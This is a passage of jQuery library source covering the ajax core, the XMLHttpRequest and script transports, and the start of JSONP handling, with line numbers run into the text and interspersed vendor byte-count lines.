for ajax options 8597// that takes "flat" options (not to be deep extended) 8598// Fixes #9887 8599function ajaxExtend( target, src ) { 8600 var key, deep, 8601 flatOptions = jQuery.ajaxSettings.flatOptions || {}; 8602 8603 for ( key in src ) { 8604 if ( src[ key ] !== undefined ) { 8605 ( flatOptions[ key ] ? target : ( deep || ( deep = {} ) ) )[ key ] = src[ key ]; 8606 } 8607 } 8608 if ( deep ) { 8609 jQuery.extend( true, target, deep ); 8610 } 8611 8612 return target; 8613} 8614 8615/* Handles responses to an ajax request: 8616 * - finds the right dataType (mediates between content-type and expected dataType) 8617 * - returns the corresponding response 8618 */ 8619function ajaxHandleResponses( s, jqXHR, responses ) { 8620 8621 var ct, type, finalDataType, firstDataType, 8622 contents = s.contents, 8623 dataTypes = s.dataTypes; 8624 8625 // Remove auto dataType and get content-type in the process 8626 while ( dataTypes[ 0 ] === "*" ) { 8627 dataTypes.shift(); 8628 if ( ct === undefined ) { 8629 ct = s.mimeType || jqXHR.getResponseHeader( "Content-Type" ); 8630 } 8631 } 8632 8633 // Check if we're dealing with a known content-type 8634 if ( ct ) { 8635 for ( type in contents ) { 8636 if ( contents[ type ] && contents[ type ].test( ct ) ) { 8637 dataTypes.unshift( type ); 8638 break; 8639 } 8640 } 8641 } 8642 8643 // Check to see if we have a response for the expected dataType 8644 if ( dataTypes[ 0 ] in responses ) { 8645 finalDataType = dataTypes[ 0 ]; 8646 } else { 8647
vendor: 18,932 bytes, lines 8648-9405
8648 // Try convertible dataTypes 8649 for ( type in responses ) { 8650 if ( !dataTypes[ 0 ] || s.converters[ type + " " + dataTypes[ 0 ] ] ) { 8651 finalDataType = type; 8652 break; 8653 } 8654 if ( !firstDataType ) { 8655 firstDataType = type; 8656 } 8657 } 8658 8659 // Or just use first one 8660 finalDataType = finalDataType || firstDataType; 8661 } 8662 8663 // If we found a dataType 8664 // We add the dataType to the list if needed 8665 // and return the corresponding response 8666 if ( finalDataType ) { 8667 if ( finalDataType !== dataTypes[ 0 ] ) { 8668 dataTypes.unshift( finalDataType ); 8669 } 8670 return responses[ finalDataType ]; 8671 } 8672} 8673 8674/* Chain conversions given the request and the original response 8675 * Also sets the responseXXX fields on the jqXHR instance 8676 */ 8677function ajaxConvert( s, response, jqXHR, isSuccess ) { 8678 var conv2, current, conv, tmp, prev, 8679 converters = {}, 8680 8681 // Work with a copy of dataTypes in case we need to modify it for conversion 8682 dataTypes = s.dataTypes.slice(); 8683 8684 // Create converters map with lowercased keys 8685 if ( dataTypes[ 1 ] ) { 8686 for ( conv in s.converters ) { 8687 converters[ conv.toLowerCase() ] = s.converters[ conv ]; 8688 } 8689 } 8690 8691 current = dataTypes.shift(); 8692 8693 // Convert to each sequential dataType 8694 while ( current ) { 8695 8696 if ( s.responseFields[ current ] ) { 8697 jqXHR[ s.responseFields[ current ] ] = response; 8698 } 8699 8700 // Apply the dataFilter if provided 8701 if ( !prev && isSuccess && s.dataFilter ) { 8702 response = s.dataFilter( response, s.dataType ); 8703 } 8704 8705 prev = current; 8706 current = dataTypes.shift(); 8707 8708 if ( current ) { 8709 8710 // There's only work to do if current dataType is non-auto 8711 if ( current === "*" ) { 8712 8713 current = prev; 8714 8715 // Convert response if prev dataType is non-auto and differs from current 8716 } else if ( prev !== "*" && prev !== current ) { 8717 8718 // Seek a direct converter 8719 conv = converters[ prev + " " + current ] || converters[ "* " + current ]; 8720 8721 // If none found, seek a pair 8722 if ( !conv ) { 8723 for ( conv2 in converters ) { 8724 8725 // If conv2 outputs current 8726 tmp = conv2.split( " " ); 8727 if ( tmp[ 1 ] === current ) { 8728 8729 // If prev can be converted to accepted input 8730 conv = converters[ prev + " " + tmp[ 0 ] ] || 8731 converters[ "* " + tmp[ 0 ] ]; 8732 if ( conv ) { 8733 8734 // Condense equivalence converters 8735 if ( conv === true ) { 8736 conv = converters[ conv2 ]; 8737 8738 // Otherwise, insert the intermediate dataType 8739 } else if ( converters[ conv2 ] !== true ) { 8740 current = tmp[ 0 ]; 8741 dataTypes.unshift( tmp[ 1 ] ); 8742 } 8743 break; 8744 } 8745 } 8746 } 8747 } 8748 8749 // Apply converter (if not an equivalence) 8750 if ( conv !== true ) { 8751 8752 // Unless errors are allowed to bubble, catch and return them 8753 if ( conv && s.throws ) { 8754 response = conv( response ); 8755 } else { 8756 try { 8757 response = conv( response ); 8758 } catch ( e ) { 8759 return { 8760 state: "parsererror", 8761 error: conv ? e : "No conversion from " + prev + " to " + current 8762 }; 8763 } 8764 } 8765 } 8766 } 8767 } 8768 } 8769 8770 return { state: "success", data: response }; 8771} 8772 8773jQuery.extend( { 8774 8775 // Counter for holding the number of active queries 8776 active: 0, 8777 8778 // Last-Modified header cache for next request 8779 lastModified: {}, 8780 etag: {}, 8781 8782 ajaxSettings: { 8783 url: location.href, 8784 type: "GET", 8785 isLocal: rlocalProtocol.test( location.protocol ), 8786 global: true, 8787 processData: true, 8788 async: true, 8789 contentType: "application/x-www-form-urlencoded; charset=UTF-8", 8790 8791 /* 8792 timeout: 0, 8793 data: null, 8794 dataType: null, 8795 username: null, 8796 password: null, 8797 cache: null, 8798 throws: false, 8799 traditional: false, 8800 headers: {}, 8801 */ 8802 8803 accepts: { 8804 "*": allTypes, 8805 text: "text/plain", 8806 html: "text/html", 8807 xml: "application/xml, text/xml", 8808 json: "application/json, text/javascript" 8809 }, 8810 8811 contents: { 8812 xml: /\bxml\b/, 8813 html: /\bhtml/, 8814 json: /\bjson\b/ 8815 }, 8816 8817 responseFields: { 8818 xml: "responseXML", 8819 text: "responseText", 8820 json: "responseJSON" 8821 }, 8822 8823 // Data converters 8824 // Keys separate source (or catchall "*") and destination types with a single space 8825 converters: { 8826 8827 // Convert anything to text 8828 "* text": String, 8829 8830 // Text to html (true = no transformation) 8831 "text html": true, 8832 8833 // Evaluate text as a json expression 8834 "text json": JSON.parse, 8835 8836 // Parse text as xml 8837 "text xml": jQuery.parseXML 8838 }, 8839 8840 // For options that shouldn't be deep extended: 8841 // you can add your own custom options here if 8842 // and when you create one that shouldn't be 8843 // deep extended (see ajaxExtend) 8844 flatOptions: { 8845 url: true, 8846 context: true 8847 } 8848 }, 8849 8850 // Creates a full fledged settings object into target 8851 // with both ajaxSettings and settings fields. 8852 // If target is omitted, writes into ajaxSettings. 8853 ajaxSetup: function( target, settings ) { 8854 return settings ? 8855 8856 // Building a settings object 8857 ajaxExtend( ajaxExtend( target, jQuery.ajaxSettings ), settings ) : 8858 8859 // Extending ajaxSettings 8860 ajaxExtend( jQuery.ajaxSettings, target ); 8861 }, 8862 8863 ajaxPrefilter: addToPrefiltersOrTransports( prefilters ), 8864 ajaxTransport: addToPrefiltersOrTransports( transports ), 8865 8866 // Main method 8867 ajax: function( url, options ) { 8868 8869 // If url is an object, simulate pre-1.5 signature 8870 if ( typeof url === "object" ) { 8871 options = url; 8872 url = undefined; 8873 } 8874 8875 // Force options to be an object 8876 options = options || {}; 8877 8878 var transport, 8879 8880 // URL without anti-cache param 8881 cacheURL, 8882 8883 // Response headers 8884 responseHeadersString, 8885 responseHeaders, 8886 8887 // timeout handle 8888 timeoutTimer, 8889 8890 // Url cleanup var 8891 urlAnchor, 8892 8893 // Request state (becomes false upon send and true upon completion) 8894 completed, 8895 8896 // To know if global events are to be dispatched 8897 fireGlobals, 8898 8899 // Loop variable 8900 i, 8901 8902 // uncached part of the url 8903 uncached, 8904 8905 // Create the final options object 8906 s = jQuery.ajaxSetup( {}, options ), 8907 8908 // Callbacks context 8909 callbackContext = s.context || s, 8910 8911 // Context for global events is callbackContext if it is a DOM node or jQuery collection 8912 globalEventContext = s.context && 8913 ( callbackContext.nodeType || callbackContext.jquery ) ? 8914 jQuery( callbackContext ) : 8915 jQuery.event, 8916 8917 // Deferreds 8918 deferred = jQuery.Deferred(), 8919 completeDeferred = jQuery.Callbacks( "once memory" ), 8920 8921 // Status-dependent callbacks 8922 statusCode = s.statusCode || {}, 8923 8924 // Headers (they are sent all at once) 8925 requestHeaders = {}, 8926 requestHeadersNames = {}, 8927 8928 // Default abort message 8929 strAbort = "canceled", 8930 8931 // Fake xhr 8932 jqXHR = { 8933 readyState: 0, 8934 8935 // Builds headers hashtable if needed 8936 getResponseHeader: function( key ) { 8937 var match; 8938 if ( completed ) { 8939 if ( !responseHeaders ) { 8940 responseHeaders = {}; 8941 while ( ( match = rheaders.exec( responseHeadersString ) ) ) { 8942 responseHeaders[ match[ 1 ].toLowerCase() ] = match[ 2 ]; 8943 } 8944 } 8945 match = responseHeaders[ key.toLowerCase() ]; 8946 } 8947 return match == null ? null : match; 8948 }, 8949 8950 // Raw string 8951 getAllResponseHeaders: function() { 8952 return completed ? responseHeadersString : null; 8953 }, 8954 8955 // Caches the header 8956 setRequestHeader: function( name, value ) { 8957 if ( completed == null ) { 8958 name = requestHeadersNames[ name.toLowerCase() ] = 8959 requestHeadersNames[ name.toLowerCase() ] || name; 8960 requestHeaders[ name ] = value; 8961 } 8962 return this; 8963 }, 8964 8965 // Overrides response content-type header 8966 overrideMimeType: function( type ) { 8967 if ( completed == null ) { 8968 s.mimeType = type; 8969 } 8970 return this; 8971 }, 8972 8973 // Status-dependent callbacks 8974 statusCode: function( map ) { 8975 var code; 8976 if ( map ) { 8977 if ( completed ) { 8978 8979 // Execute the appropriate callbacks 8980 jqXHR.always( map[ jqXHR.status ] ); 8981 } else { 8982 8983 // Lazy-add the new callbacks in a way that preserves old ones 8984 for ( code in map ) { 8985 statusCode[ code ] = [ statusCode[ code ], map[ code ] ]; 8986 } 8987 } 8988 } 8989 return this; 8990 }, 8991 8992 // Cancel the request 8993 abort: function( statusText ) { 8994 var finalText = statusText || strAbort; 8995 if ( transport ) { 8996 transport.abort( finalText ); 8997 } 8998 done( 0, finalText ); 8999 return this; 9000 } 9001 }; 9002 9003 // Attach deferreds 9004 deferred.promise( jqXHR ); 9005 9006 // Add protocol if not provided (prefilters might expect it) 9007 // Handle falsy url in the settings object (#10093: consistency with old signature) 9008 // We also use the url parameter if available 9009 s.url = ( ( url || s.url || location.href ) + "" ) 9010 .replace( rprotocol, location.protocol + "//" ); 9011 9012 // Alias method option to type as per ticket #12004 9013 s.type = options.method || options.type || s.method || s.type; 9014 9015 // Extract dataTypes list 9016 s.dataTypes = ( s.dataType || "*" ).toLowerCase().match( rnothtmlwhite ) || [ "" ]; 9017 9018 // A cross-domain request is in order when the origin doesn't match the current origin. 9019 if ( s.crossDomain == null ) { 9020 urlAnchor = document.createElement( "a" ); 9021 9022 // Support: IE <=8 - 11, Edge 12 - 13 9023 // IE throws exception on accessing the href property if url is malformed, 9024 // e.g. http://example.com:80x/ 9025 try { 9026 urlAnchor.href = s.url; 9027 9028 // Support: IE <=8 - 11 only 9029 // Anchor's host property isn't correctly set when s.url is relative 9030 urlAnchor.href = urlAnchor.href; 9031 s.crossDomain = originAnchor.protocol + "//" + originAnchor.host !== 9032 urlAnchor.protocol + "//" + urlAnchor.host; 9033 } catch ( e ) { 9034 9035 // If there is an error parsing the URL, assume it is crossDomain, 9036 // it can be rejected by the transport if it is invalid 9037 s.crossDomain = true; 9038 } 9039 } 9040 9041 // Convert data if not already a string 9042 if ( s.data && s.processData && typeof s.data !== "string" ) { 9043 s.data = jQuery.param( s.data, s.traditional ); 9044 } 9045 9046 // Apply prefilters 9047 inspectPrefiltersOrTransports( prefilters, s, options, jqXHR ); 9048 9049 // If request was aborted inside a prefilter, stop there 9050 if ( completed ) { 9051 return jqXHR; 9052 } 9053 9054 // We can fire global events as of now if asked to 9055 // Don't fire events if jQuery.event is undefined in an AMD-usage scenario (#15118) 9056 fireGlobals = jQuery.event && s.global; 9057 9058 // Watch for a new set of requests 9059 if ( fireGlobals && jQuery.active++ === 0 ) { 9060 jQuery.event.trigger( "ajaxStart" ); 9061 } 9062 9063 // Uppercase the type 9064 s.type = s.type.toUpperCase(); 9065 9066 // Determine if request has content 9067 s.hasContent = !rnoContent.test( s.type ); 9068 9069 // Save the URL in case we're toying with the If-Modified-Since 9070 // and/or If-None-Match header later on 9071 // Remove hash to simplify url manipulation 9072 cacheURL = s.url.replace( rhash, "" ); 9073 9074 // More options handling for requests with no content 9075 if ( !s.hasContent ) { 9076 9077 // Remember the hash so we can put it back 9078 uncached = s.url.slice( cacheURL.length ); 9079 9080 // If data is available, append data to url 9081 if ( s.data ) { 9082 cacheURL += ( rquery.test( cacheURL ) ? "&" : "?" ) + s.data; 9083 9084 // #9682: remove data so that it's not used in an eventual retry 9085 delete s.data; 9086 } 9087 9088 // Add or update anti-cache param if needed 9089 if ( s.cache === false ) { 9090 cacheURL = cacheURL.replace( rantiCache, "$1" ); 9091 uncached = ( rquery.test( cacheURL ) ? "&" : "?" ) + "_=" + ( nonce++ ) + uncached; 9092 } 9093 9094 // Put hash and anti-cache on the URL that will be requested (gh-1732) 9095 s.url = cacheURL + uncached; 9096 9097 // Change '%20' to '+' if this is encoded form body content (gh-2658) 9098 } else if ( s.data && s.processData && 9099 ( s.contentType || "" ).indexOf( "application/x-www-form-urlencoded" ) === 0 ) { 9100 s.data = s.data.replace( r20, "+" ); 9101 } 9102 9103 // Set the If-Modified-Since and/or If-None-Match header, if in ifModified mode. 9104 if ( s.ifModified ) { 9105 if ( jQuery.lastModified[ cacheURL ] ) { 9106 jqXHR.setRequestHeader( "If-Modified-Since", jQuery.lastModified[ cacheURL ] ); 9107 } 9108 if ( jQuery.etag[ cacheURL ] ) { 9109 jqXHR.setRequestHeader( "If-None-Match", jQuery.etag[ cacheURL ] ); 9110 } 9111 } 9112 9113 // Set the correct header, if data is being sent 9114 if ( s.data && s.hasContent && s.contentType !== false || options.contentType ) { 9115 jqXHR.setRequestHeader( "Content-Type", s.contentType ); 9116 } 9117 9118 // Set the Accepts header for the server, depending on the dataType 9119 jqXHR.setRequestHeader( 9120 "Accept", 9121 s.dataTypes[ 0 ] && s.accepts[ s.dataTypes[ 0 ] ] ? 9122 s.accepts[ s.dataTypes[ 0 ] ] + 9123 ( s.dataTypes[ 0 ] !== "*" ? ", " + allTypes + "; q=0.01" : "" ) : 9124 s.accepts[ "*" ] 9125 ); 9126 9127 // Check for headers option 9128 for ( i in s.headers ) { 9129 jqXHR.setRequestHeader( i, s.headers[ i ] ); 9130 } 9131 9132 // Allow custom headers/mimetypes and early abort 9133 if ( s.beforeSend && 9134 ( s.beforeSend.call( callbackContext, jqXHR, s ) === false || completed ) ) { 9135 9136 // Abort if not done already and return 9137 return jqXHR.abort(); 9138 } 9139 9140 // Aborting is no longer a cancellation 9141 strAbort = "abort"; 9142 9143 // Install callbacks on deferreds 9144 completeDeferred.add( s.complete ); 9145 jqXHR.done( s.success ); 9146 jqXHR.fail( s.error ); 9147 9148 // Get transport 9149 transport = inspectPrefiltersOrTransports( transports, s, options, jqXHR ); 9150 9151 // If no transport, we auto-abort 9152 if ( !transport ) { 9153 done( -1, "No Transport" ); 9154 } else { 9155 jqXHR.readyState = 1; 9156 9157 // Send global event 9158 if ( fireGlobals ) { 9159 globalEventContext.trigger( "ajaxSend", [ jqXHR, s ] ); 9160 } 9161 9162 // If request was aborted inside ajaxSend, stop there 9163 if ( completed ) { 9164 return jqXHR; 9165 } 9166 9167 // Timeout 9168 if ( s.async && s.timeout > 0 ) { 9169 timeoutTimer = window.setTimeout( function() { 9170 jqXHR.abort( "timeout" ); 9171 }, s.timeout ); 9172 } 9173 9174 try { 9175 completed = false; 9176 transport.send( requestHeaders, done ); 9177 } catch ( e ) { 9178 9179 // Rethrow post-completion exceptions 9180 if ( completed ) { 9181 throw e; 9182 } 9183 9184 // Propagate others as results 9185 done( -1, e ); 9186 } 9187 } 9188 9189 // Callback for when everything is done 9190 function done( status, nativeStatusText, responses, headers ) { 9191 var isSuccess, success, error, response, modified, 9192 statusText = nativeStatusText; 9193 9194 // Ignore repeat invocations 9195 if ( completed ) { 9196 return; 9197 } 9198 9199 completed = true; 9200 9201 // Clear timeout if it exists 9202 if ( timeoutTimer ) { 9203 window.clearTimeout( timeoutTimer ); 9204 } 9205 9206 // Dereference transport for early garbage collection 9207 // (no matter how long the jqXHR object will be used) 9208 transport = undefined; 9209 9210 // Cache response headers 9211 responseHeadersString = headers || ""; 9212 9213 // Set readyState 9214 jqXHR.readyState = status > 0 ? 4 : 0; 9215 9216 // Determine if successful 9217 isSuccess = status >= 200 && status < 300 || status === 304; 9218 9219 // Get response data 9220 if ( responses ) { 9221 response = ajaxHandleResponses( s, jqXHR, responses ); 9222 } 9223 9224 // Convert no matter what (that way responseXXX fields are always set) 9225 response = ajaxConvert( s, response, jqXHR, isSuccess ); 9226 9227 // If successful, handle type chaining 9228 if ( isSuccess ) { 9229 9230 // Set the If-Modified-Since and/or If-None-Match header, if in ifModified mode. 9231 if ( s.ifModified ) { 9232 modified = jqXHR.getResponseHeader( "Last-Modified" ); 9233 if ( modified ) { 9234 jQuery.lastModified[ cacheURL ] = modified; 9235 } 9236 modified = jqXHR.getResponseHeader( "etag" ); 9237 if ( modified ) { 9238 jQuery.etag[ cacheURL ] = modified; 9239 } 9240 } 9241 9242 // if no content 9243 if ( status === 204 || s.type === "HEAD" ) { 9244 statusText = "nocontent"; 9245 9246 // if not modified 9247 } else if ( status === 304 ) { 9248 statusText = "notmodified"; 9249 9250 // If we have data, let's convert it 9251 } else { 9252 statusText = response.state; 9253 success = response.data; 9254 error = response.error; 9255 isSuccess = !error; 9256 } 9257 } else { 9258 9259 // Extract error from statusText and normalize for non-aborts 9260 error = statusText; 9261 if ( status || !statusText ) { 9262 statusText = "error"; 9263 if ( status < 0 ) { 9264 status = 0; 9265 } 9266 } 9267 } 9268 9269 // Set data for the fake xhr object 9270 jqXHR.status = status; 9271 jqXHR.statusText = ( nativeStatusText || statusText ) + ""; 9272 9273 // Success/Error 9274 if ( isSuccess ) { 9275 deferred.resolveWith( callbackContext, [ success, statusText, jqXHR ] ); 9276 } else { 9277 deferred.rejectWith( callbackContext, [ jqXHR, statusText, error ] ); 9278 } 9279 9280 // Status-dependent callbacks 9281 jqXHR.statusCode( statusCode ); 9282 statusCode = undefined; 9283 9284 if ( fireGlobals ) { 9285 globalEventContext.trigger( isSuccess ? "ajaxSuccess" : "ajaxError", 9286 [ jqXHR, s, isSuccess ? success : error ] ); 9287 } 9288 9289 // Complete 9290 completeDeferred.fireWith( callbackContext, [ jqXHR, statusText ] ); 9291 9292 if ( fireGlobals ) { 9293 globalEventContext.trigger( "ajaxComplete", [ jqXHR, s ] ); 9294 9295 // Handle the global AJAX counter 9296 if ( !( --jQuery.active ) ) { 9297 jQuery.event.trigger( "ajaxStop" ); 9298 } 9299 } 9300 } 9301 9302 return jqXHR; 9303 }, 9304 9305 getJSON: function( url, data, callback ) { 9306 return jQuery.get( url, data, callback, "json" ); 9307 }, 9308 9309 getScript: function( url, callback ) { 9310 return jQuery.get( url, undefined, callback, "script" ); 9311 } 9312} ); 9313 9314jQuery.each( [ "get", "post" ], function( i, method ) { 9315 jQuery[ method ] = function( url, data, callback, type ) { 9316 9317 // Shift arguments if data argument was omitted 9318 if ( jQuery.isFunction( data ) ) { 9319 type = type || callback; 9320 callback = data; 9321 data = undefined; 9322 } 9323 9324 // The url can be an options object (which then must have .url) 9325 return jQuery.ajax( jQuery.extend( { 9326 url: url, 9327 type: method, 9328 dataType: type, 9329 data: data, 9330 success: callback 9331 }, jQuery.isPlainObject( url ) && url ) ); 9332 }; 9333} ); 9334 9335 9336jQuery._evalUrl = function( url ) { 9337 return jQuery.ajax( { 9338 url: url, 9339 9340 // Make this explicit, since user can override this through ajaxSetup (#11264) 9341 type: "GET", 9342 dataType: "script", 9343 cache: true, 9344 async: false, 9345 global: false, 9346 "throws": true 9347 } ); 9348}; 9349 9350 9351jQuery.fn.extend( { 9352 wrapAll: function( html ) { 9353 var wrap; 9354 9355 if ( this[ 0 ] ) { 9356 if ( jQuery.isFunction( html ) ) { 9357 html = html.call( this[ 0 ] ); 9358 } 9359 9360 // The elements to wrap the target around 9361 wrap = jQuery( html, this[ 0 ].ownerDocument ).eq( 0 ).clone( true ); 9362 9363 if ( this[ 0 ].parentNode ) { 9364 wrap.insertBefore( this[ 0 ] ); 9365 } 9366 9367 wrap.map( function() { 9368 var elem = this; 9369 9370 while ( elem.firstElementChild ) { 9371 elem = elem.firstElementChild; 9372 } 9373 9374 return elem; 9375 } ).append( this ); 9376 } 9377 9378 return this; 9379 }, 9380 9381 wrapInner: function( html ) { 9382 if ( jQuery.isFunction( html ) ) { 9383 return this.each( function( i ) { 9384 jQuery( this ).wrapInner( html.call( this, i ) ); 9385 } ); 9386 } 9387 9388 return this.each( function() { 9389 var self = jQuery( this ), 9390 contents = self.contents(); 9391 9392 if ( contents.length ) { 9393 contents.wrapAll( html ); 9394 9395 } else { 9396 self.append( html ); 9397 } 9398 } ); 9399 }, 9400 9401 wrap: function( html ) { 9402 var isFunction = jQuery.isFunction( html ); 9403 9404 return this.each( function( i ) { 9405 jQuery( this ).wrapAll( i
vendor: 2,399 bytes, lines 9405-9497
9405sFunction ? html.call( this, i ) : html ); 9406 } ); 9407 }, 9408 9409 unwrap: function( selector ) { 9410 this.parent( selector ).not( "body" ).each( function() { 9411 jQuery( this ).replaceWith( this.childNodes ); 9412 } ); 9413 return this; 9414 } 9415} ); 9416 9417 9418jQuery.expr.pseudos.hidden = function( elem ) { 9419 return !jQuery.expr.pseudos.visible( elem ); 9420}; 9421jQuery.expr.pseudos.visible = function( elem ) { 9422 return !!( elem.offsetWidth || elem.offsetHeight || elem.getClientRects().length ); 9423}; 9424 9425 9426 9427 9428jQuery.ajaxSettings.xhr = function() { 9429 try { 9430 return new window.XMLHttpRequest(); 9431 } catch ( e ) {} 9432}; 9433 9434var xhrSuccessStatus = { 9435 9436 // File protocol always yields status code 0, assume 200 9437 0: 200, 9438 9439 // Support: IE <=9 only 9440 // #1450: sometimes IE returns 1223 when it should be 204 9441 1223: 204 9442 }, 9443 xhrSupported = jQuery.ajaxSettings.xhr(); 9444 9445support.cors = !!xhrSupported && ( "withCredentials" in xhrSupported ); 9446support.ajax = xhrSupported = !!xhrSupported; 9447 9448jQuery.ajaxTransport( function( options ) { 9449 var callback, errorCallback; 9450 9451 // Cross domain only allowed if supported through XMLHttpRequest 9452 if ( support.cors || xhrSupported && !options.crossDomain ) { 9453 return { 9454 send: function( headers, complete ) { 9455 var i, 9456 xhr = options.xhr(); 9457 9458 xhr.open( 9459 options.type, 9460 options.url, 9461 options.async, 9462 options.username, 9463 options.password 9464 ); 9465 9466 // Apply custom fields if provided 9467 if ( options.xhrFields ) { 9468 for ( i in options.xhrFields ) { 9469 xhr[ i ] = options.xhrFields[ i ]; 9470 } 9471 } 9472 9473 // Override mime type if needed 9474 if ( options.mimeType && xhr.overrideMimeType ) { 9475 xhr.overrideMimeType( options.mimeType ); 9476 } 9477 9478 // X-Requested-With header 9479 // For cross-domain requests, seeing as conditions for a preflight are 9480 // akin to a jigsaw puzzle, we simply never set it to be sure. 9481 // (it can always be set on a per-request basis or even using ajaxSetup) 9482 // For same-domain requests, won't change header if already provided. 9483 if ( !options.crossDomain && !headers[ "X-Requested-With" ] ) { 9484 headers[ "X-Requested-With" ] = "XMLHttpRequest"; 9485 } 9486 9487 // Set headers 9488 for ( i in headers ) { 9489 xhr.setRequestHeader( i, headers[ i ] ); 9490 } 9491 9492 // Callback 9493 callback = function( type ) { 9494 return function() { 9495 if ( callback ) { 9496 callback = errorCallback = xhr.onload = 9497 xhr.onerror = xhr.onabort = xhr.on
vendor: 5,102 bytes, lines 9497-9702
9497readystatechange = null; 9498 9499 if ( type === "abort" ) { 9500 xhr.abort(); 9501 } else if ( type === "error" ) { 9502 9503 // Support: IE <=9 only 9504 // On a manual native abort, IE9 throws 9505 // errors on any property access that is not readyState 9506 if ( typeof xhr.status !== "number" ) { 9507 complete( 0, "error" ); 9508 } else { 9509 complete( 9510 9511 // File: protocol always yields status 0; see #8605, #14207 9512 xhr.status, 9513 xhr.statusText 9514 ); 9515 } 9516 } else { 9517 complete( 9518 xhrSuccessStatus[ xhr.status ] || xhr.status, 9519 xhr.statusText, 9520 9521 // Support: IE <=9 only 9522 // IE9 has no XHR2 but throws on binary (trac-11426) 9523 // For XHR2 non-text, let the caller handle it (gh-2498) 9524 ( xhr.responseType || "text" ) !== "text" || 9525 typeof xhr.responseText !== "string" ? 9526 { binary: xhr.response } : 9527 { text: xhr.responseText }, 9528 xhr.getAllResponseHeaders() 9529 ); 9530 } 9531 } 9532 }; 9533 }; 9534 9535 // Listen to events 9536 xhr.onload = callback(); 9537 errorCallback = xhr.onerror = callback( "error" ); 9538 9539 // Support: IE 9 only 9540 // Use onreadystatechange to replace onabort 9541 // to handle uncaught aborts 9542 if ( xhr.onabort !== undefined ) { 9543 xhr.onabort = errorCallback; 9544 } else { 9545 xhr.onreadystatechange = function() { 9546 9547 // Check readyState before timeout as it changes 9548 if ( xhr.readyState === 4 ) { 9549 9550 // Allow onerror to be called first, 9551 // but that will not handle a native abort 9552 // Also, save errorCallback to a variable 9553 // as xhr.onerror cannot be accessed 9554 window.setTimeout( function() { 9555 if ( callback ) { 9556 errorCallback(); 9557 } 9558 } ); 9559 } 9560 }; 9561 } 9562 9563 // Create the abort callback 9564 callback = callback( "abort" ); 9565 9566 try { 9567 9568 // Do send the request (this may raise an exception) 9569 xhr.send( options.hasContent && options.data || null ); 9570 } catch ( e ) { 9571 9572 // #14683: Only rethrow if this hasn't been notified as an error yet 9573 if ( callback ) { 9574 throw e; 9575 } 9576 } 9577 }, 9578 9579 abort: function() { 9580 if ( callback ) { 9581 callback(); 9582 } 9583 } 9584 }; 9585 } 9586} ); 9587 9588 9589 9590 9591// Prevent auto-execution of scripts when no explicit dataType was provided (See gh-2432) 9592jQuery.ajaxPrefilter( function( s ) { 9593 if ( s.crossDomain ) { 9594 s.contents.script = false; 9595 } 9596} ); 9597 9598// Install script dataType 9599jQuery.ajaxSetup( { 9600 accepts: { 9601 script: "text/javascript, application/javascript, " + 9602 "application/ecmascript, application/x-ecmascript" 9603 }, 9604 contents: { 9605 script: /\b(?:java|ecma)script\b/ 9606 }, 9607 converters: { 9608 "text script": function( text ) { 9609 jQuery.globalEval( text ); 9610 return text; 9611 } 9612 } 9613} ); 9614 9615// Handle cache's special case and crossDomain 9616jQuery.ajaxPrefilter( "script", function( s ) { 9617 if ( s.cache === undefined ) { 9618 s.cache = false; 9619 } 9620 if ( s.crossDomain ) { 9621 s.type = "GET"; 9622 } 9623} ); 9624 9625// Bind script tag hack transport 9626jQuery.ajaxTransport( "script", function( s ) { 9627 9628 // This transport only deals with cross domain requests 9629 if ( s.crossDomain ) { 9630 var script, callback; 9631 return { 9632 send: function( _, complete ) { 9633 script = jQuery( "<script>" ).prop( { 9634 charset: s.scriptCharset, 9635 src: s.url 9636 } ).on( 9637 "load error", 9638 callback = function( evt ) { 9639 script.remove(); 9640 callback = null; 9641 if ( evt ) { 9642 complete( evt.type === "error" ? 404 : 200, evt.type ); 9643 } 9644 } 9645 ); 9646 9647 // Use native DOM manipulation to avoid our domManip AJAX trickery 9648 document.head.appendChild( script[ 0 ] ); 9649 }, 9650 abort: function() { 9651 if ( callback ) { 9652 callback(); 9653 } 9654 } 9655 }; 9656 } 9657} ); 9658 9659 9660 9661 9662var oldCallbacks = [], 9663 rjsonp = /(=)\?(?=&|$)|\?\?/; 9664 9665// Default jsonp settings 9666jQuery.ajaxSetup( { 9667 jsonp: "callback", 9668 jsonpCallback: function() { 9669 var callback = oldCallbacks.pop() || ( jQuery.expando + "_" + ( nonce++ ) ); 9670 this[ callback ] = true; 9671 return callback; 9672 } 9673} ); 9674 9675// Detect, normalize options and install callbacks for jsonp requests 9676jQuery.ajaxPrefilter( "json jsonp", function( s, originalSettings, jqXHR ) { 9677 9678 var callbackName, overwritten, responseContainer, 9679 jsonProp = s.jsonp !== false && ( rjsonp.test( s.url ) ? 9680 "url" : 9681 typeof s.data === "string" && 9682 ( s.contentType || "" ) 9683 .indexOf( "application/x-www-form-urlencoded" ) === 0 && 9684 rjsonp.test( s.data ) && "data" 9685 ); 9686 9687 // Handle iff the expected data type is "jsonp" or we have a parameter to set 9688 if ( jsonProp || s.dataTypes[ 0 ] === "jsonp" ) { 9689 9690 // Get callback name, remembering preexisting value associated with it 9691 callbackName = s.jsonpCallback = jQuery.isFunction( s.jsonpCallback ) ? 9692 s.jsonpCallback() : 9693 s.jsonpCallback; 9694 9695 // Insert callback into url or form data 9696 if ( jsonProp ) { 9697 s[ jsonProp ] = s[ jsonProp ].replace( rjsonp, "$1" + callbackName ); 9698 } else if ( s.jsonp !== false ) { 9699 s.url += ( rquery.test( s.url ) ? "&" : "?" ) + s.jsonp + "=" + callbackName; 9700 } 9701 9702 // Use data converter to retrieve json after script execution
vendor: 2,994 bytes, lines 9703-9812
9703 s.converters[ "script json" ] = function() { 9704 if ( !responseContainer ) { 9705 jQuery.error( callbackName + " was not called" ); 9706 } 9707 return responseContainer[ 0 ]; 9708 }; 9709 9710 // Force json dataType 9711 s.dataTypes[ 0 ] = "json"; 9712 9713 // Install callback 9714 overwritten = window[ callbackName ]; 9715 window[ callbackName ] = function() { 9716 responseContainer = arguments; 9717 }; 9718 9719 // Clean-up function (fires after converters) 9720 jqXHR.always( function() { 9721 9722 // If previous value didn't exist - remove it 9723 if ( overwritten === undefined ) { 9724 jQuery( window ).removeProp( callbackName ); 9725 9726 // Otherwise restore preexisting value 9727 } else { 9728 window[ callbackName ] = overwritten; 9729 } 9730 9731 // Save back as free 9732 if ( s[ callbackName ] ) { 9733 9734 // Make sure that re-using the options doesn't screw things around 9735 s.jsonpCallback = originalSettings.jsonpCallback; 9736 9737 // Save the callback name for future use 9738 oldCallbacks.push( callbackName ); 9739 } 9740 9741 // Call if it was 